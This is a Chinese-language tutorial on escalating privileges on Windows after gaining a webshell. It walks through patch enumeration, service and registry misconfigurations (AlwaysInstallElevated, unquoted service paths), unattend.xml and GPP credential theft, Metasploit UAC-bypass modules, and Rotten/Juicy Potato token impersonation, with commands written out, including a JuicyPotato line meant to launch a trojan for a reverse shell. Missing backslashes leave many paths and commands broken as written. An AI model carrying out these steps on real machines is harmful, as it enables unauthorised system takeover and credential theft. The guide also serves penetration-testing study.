当我们通过webshell拿到一个普通用户的权限,由于是普通用户所以很多操作都会受限制。这就需要通过一定的方法将普通用户提权到更高权限的用户。
windows中,权限主要为四种:User、Administrator、System、TrustedInstaller。
- User:普通用户权限,此权限不允许修改操作系统的设置或用户资料
- Administrator:管理员权限。
- System:系统权限。
- TrustedInstaller:windows中最高权限,用来防止程序或用户无意或恶意破坏系统文件。
在Windows XP以前,System帐户与管理员组对系统文件都拥有着完全访问的权限,这就意味着以这两个身份运行的程序可以任意更改系统,降低了系统安全性,自从Windows Vista开始出现了TrustedInstaller则改变了这一情况,是的只有拥有TrustedInstaller令牌的系统进程才能更改系统内容。以System权限运行程序不一定拥有TrustedInstaller的权限,只有通过了Server Control Manager(系统启动控制器)的验证后才能获得TrustedInstaller的权限。
缓冲区溢出漏洞提权
缓冲区溢出(Buffer Overflow)
是针对程序设计的缺陷,向程序输入使之溢出的内容,从而破坏程序运行乃至获得系统的控制权。利用该漏洞的关键是目标机器没有及时安装补丁。
发现补丁
通过systeminfo
来查看目标机器安装了哪些补丁。
通过补丁的来查找对应的提权EXP 例如:
代码语言:javascript复制MS08-025:KB941693
MS09-012:KB959454
https://github.com/SecWiki/windows-kernel-exploits
wmic qfe get /all
也可以查看安装的补丁
通过Metasploit获得一个session后,可通过post/windows/gather/enum_patches
模块。可以根据漏洞编号来枚举系统中缺少的补丁。
使用工具windows-exploit-suggester(https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
将系统中已经安装的补丁程序与微软漏洞库进行比较,并可以识别可能导致提权的漏洞。执行systeminfo
并将结果保存在文件中,然后使用windows-exploit-suggester
来检测即可。
系统配置错误利用提权
Windows操作系统中常见的配置错误包括管理员凭据配置错误、服务配置错误、故意消弱的安全措施、用户权限过高等。
系统服务权限配置错误
Windows系统服务文件在操作系统启动时会加载,并且在后台调用可执行文件。系统服务程序加载时往往都是运行在系统权限上的。所以如果一个权限比较低的用户对词类系统服务调用的可执行文件有可写的权限,那么就可以被利用。 系统服务权限配置错误(可写目录漏洞)有如下两种可能:
- 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
- 服务正在允许且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。
PowerUP
PowerUP(https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)
提供了一些本地提权的方法,功能相当强大,拥有很多脚本来帮助我们寻找Windows服务漏洞进行提权(也是PowerShell Empire
和PowerSploit
的一部分)
powershell -exec bypass -command "&{Import-Module .powerup.ps1;Invoke-AllChecks}"
列出可能存在问题的所有服务,并且在abusefunction中提示利用方式。
Metasploit
在msf中,可使用exploit/windows/local/service_permissions
模块进行自动化提权,需要一个session
此模块使用两种发方法来提权:如果meterpreter以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序。模块中AGGRESSIVE
选项如果设置为ture
,则是利用目标机器上每一个有漏洞的服务,设置为false
则是在第一次提权成功后停止。
注册表键AlwaysInstallElevated
AlwaysInstallElevated是注册表里的一个策略设置项,如果启用此策略设置项,那么任何权限的用户都能以system权限来安装恶意的MSI(Microsoft Windows Installer)文件,Windows Installer是Windows操作系统的组件之一,专门用来管理和配置软件服务,Windows Installer除了是一个安装程序,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等。可在组策略进行开启
- 组策略(gpedit.msc)->计算机配置->管理模板->Windows组件->Windows Installer->永远以高权限进行安装:选择已启用
- 组策略(gpedit.msc)->用户配置->管理模板->Windows组件->Windows Installer->永远以高权限进行安装:选择一起用
- 配置开启后,会在注册表一下两个位置自动创建键值为1
- HEKY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsInstallAlwaysInstallElevated
- HEKY_CURRENT_MACHINESoftwarePoliciesMicrosoftWindowsInstallAlwaysInstallElevated
- 可通过reg进行修改注册表
- reg add HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1
- reg add HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1
- 修改注册表需要用户有以下两个权限:
- SeRestorePrivilege
- SeTakeOwnershipPrivilege
reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
查看是否启用。0x1(十六进制)表示处于开启状态
PowerUP
查看是否已启用策略,true为启用,相反为false
运行Write-UserAddMSI
模块会生成一个UserAdd.msi
文件,可以地权限用户运行并添加管理员用户
Metasploit
可使用exploit/windows/local/always_install_elevated
模块,该模块会创建一个文件名随机的MSI文件,并且在提权后删除所有已部署的文件。
可信任服务路径
利用了Windows文件路径解析的特性,如果一个服务调用的可执行文件没有正确处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。如果一个被适合命名的可执行文件(木马)被上传到受影响的目录中,服务一旦重启,该程序就会以system权限运行。在这里举一个例子 假设有一个服务路径:C:Program FilesSome FolderService.exe
Windows在命令解释程序可能会遇到名称中的空格,并且希望通过引号将其转义。如果系统运行该服务,他将尝试以下可执行文件:
C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe
如果在C盘上传一个名为Program.exe
的文件,当Service.exe
重启的时候,在大多数情况下Program.exe
就会以System权限运行。可通过wmic来查询目标机器上有错误的服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" | findstr /i /v """
查看此文件夹是否有写权限 icacls "C:phpstudy_proCOM"
F代表完全访问权限
通过sc
来重启服务
sc stop Service_name
sc start Service_name
Metasploit
使用trusted_service_path
模块,此模块不是自带的,需要下载(https://www.exploit-db.com/download/20543),然后放在/usr/share/metasploit-framework/modules/exploits/windows/local
目录就可以
自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部署。在这个过程中,会使用安装配置文件。如果管理员没有清理的话,那么会在机器上有一个unattend.xml的文件,这个文件包含苏哦有在安装过程中的配置,包括一些本地用户的配置,以及管理员账号的密码。还有敏感的文件为:sysprep.xml和sysprep.inf文件。通常文件位置为:
- C:sysprep.inf
- C:sysprepsysprep.xml
- C:Windowssystem32sysprep.inf
- C:WindowsSystem32sysprepsysprep.xml
- C:unattend.xml
- C:WindowsPantherunattend.xml
- C:WindowsPantherunattended.xml
- C:WindowsPantherunattendunattend.xml
- C:WindowsPantherunattendunattended.xml
可通过cmd来进行查找dir /b /s c:unattend.xml
Metasploit
post/windows/gather/enum_unattend
模块可以扫描目标主机的unatted.xml
组策略首选项提权
在Windows Server 2008引入了组策略首选项(Group Policy Preferences)的功能,该功能使用管理员可以部署影响域中计算机/用户的特定配置。当域管理员在使用组策略进行批量、统一的配置和管理,如果配置组策略的过程中需要填入密码,那么改密码就会被保存在共享文件夹SYSVOL
下,因为SYSVOL
文件夹是在安装活动目录的时候自动创建的,所有经过身份验证的域用户、域信任用户具有读权限的活动目录的的域范围内共享,所有的域策略都存放在C:WindowsSYSVOLdomainPolicies
目录中。通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码 GPP最有用的特征,是在某些场景存储和使用凭据,包括以下:
映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码
创建组策略 gpmc.msc
进入组策略管理
计算机配置->首选项->控制面板设置->本地用户和组,新建一个本地用户
将域中每个计算机本地的Administrator用户名改为test_hacker,并且设置密码为123456
运行gpupdate
更新以下组策略配置
可以在组策略管理中查看对应的ID
在C:WindowsSYSVOLdomainPolicies
目录下
在对应的ID目录下C:WindowsSYSVOLdomainPolicies{31B2F340-016D-11D2-945F-00C04FB984F9}MACHINEPreferencesGroups
可找到Group.xml
文件,里面保存了该组策略更新后的密码,是AES-256加密算法,并且微软在2012年公布了密钥
因为任何域用户和域信任用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在xml文件中的密码并进行解密 通过域成员访问该目录 dir \域控制器名sysvol域名policies
查看Groups.xml
内容 type \域控主机名SYSVOL域名Policies{ID值}MachinePreferencesGroupsGroups.xml
拿到加密后的密码可通过kali自带的gpp-decrypt
进行解密
msf后渗透模块:run post/windows/gather/credentials/gpp
由于GPP不安全,在Windows Server 2012及以后的版本,微软就抛弃了这种方法
Bypass UAC
UAC(User Account Control,用户账户控制)是微软为了提高系统安全性在Windows Vista中引入的技术,要求用户在执行可能存在影响计算机运行的操作或者执行更改影响其他用户的设置的操作之前提供权限或者管理员密码.
需要UAC的授权才能进行的操作:
- 配置Windows Update
- 添加/删除用户
- 更改账户类型
- 更改UAC的设置
- 安装ActiveX
- 安装/卸载程序
- 安装设备驱动程序
- 将文件移动/复制到Program Files或Windows目录
- 查看其他用户的文件夹
UAC有四种设置要求
- 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户.
- 仅在应用尝试更改我的计算机时通知我:这是UAC的默认设置.当本地Windows要求使用高级别的权限时,不会通知用户.但是,第三方程序要求使用高级别的权限时,会提示本地用户
- 仅在应用尝试更改计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但是在提示用户时不降低用户的亮度
- 从不通知:当用户为系统管理员时,所有程序都会以最高权限运行.
Metasploit
exploit/windows/local/bypassuac
模块,进行提权时,当前用户必须在管理员组中 exploit/windows/local/bypassuac_injection
模块,会直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘 exploit/windows/local/ask
模块,会创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否继续 exploit/windows/local/bypassuac_fodhelper
(通过FodHelper注册表项) exploit/windows/local/bypassuac_eventvwr
(通过Eventvwr注册表项) exploit/windows/local/bypassuac_comhijack
(COM处理程序劫持) exploit/windows/local/bypassuac_vbs
Nishang
Invoke-PsUACme.ps1
脚本
RottenPotato提权
烂土豆提权就是MS16-075,是一个本地提权,不能用于域用户.
欺骗"NT AUTHORITYSYSTEM"账户通过NTLM认证到我们控制的TCP终端 对这个过程使用中间人攻击(NTLM重放),为"NT AUTHORITYSYSTEM"账户本地协商一个安全令牌.通过一系列的Windows API调用实现 模仿这个令牌,一般大多数的服务型账户(IIS,MMSQL等)才有这个权限
在msf拿到一个meterpreter的时 先加载incognitoload incognito
list_tokens -u
列出目标机器所有的token
上传rottenpotato.exe
模拟令牌
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\SYSTEM"
Juicypotato提权
https://github.com/ohpe/juicy-potato
whoami /all
查看当前用户权限 如果开启SeImpersonate权限,juicypotato的参数可以使用-t t 如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u 如果均开启,可以选择-t *
RPC默认端口为135,如果被改则使用-n 指定端口 CLSID:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md 也可通过powershell脚本(https://github.com/shanfenglan/test/blob/master/juicypotato/clsid.ps1)来查找可用的CLSID powershell -executionpolicy bypass -file clsid.ps1 > CLSID.LIST
然后通过bat(https://github.com/shanfenglan/test/blob/master/juicypotato/1.bat)来确定能利用的CLSID
代码语言:javascript复制JuicyPotato.exe -t t -p c:windowssystem32cmd.exe -l 1111 -c {CLSID}
cmd.exe换成木马,即可反弹shell
juicypotato修改版:https://github.com/uknowsec/JuicyPotato
winPEAS
winPEAS是一款辅助提权工具 https://github.com/Fa1c0n35/winPEAS
参考:
https://blog.csdn.net/qq_44159028/article/details/123478427 https://blog.csdn.net/bring_coco/article/details/113287835 https://blog.csdn.net/qq_44159028/article/details/123462876 https://cloud.tencent.com/developer/article/1632172 https://blog.csdn.net/qq_41874930/article/details/109766105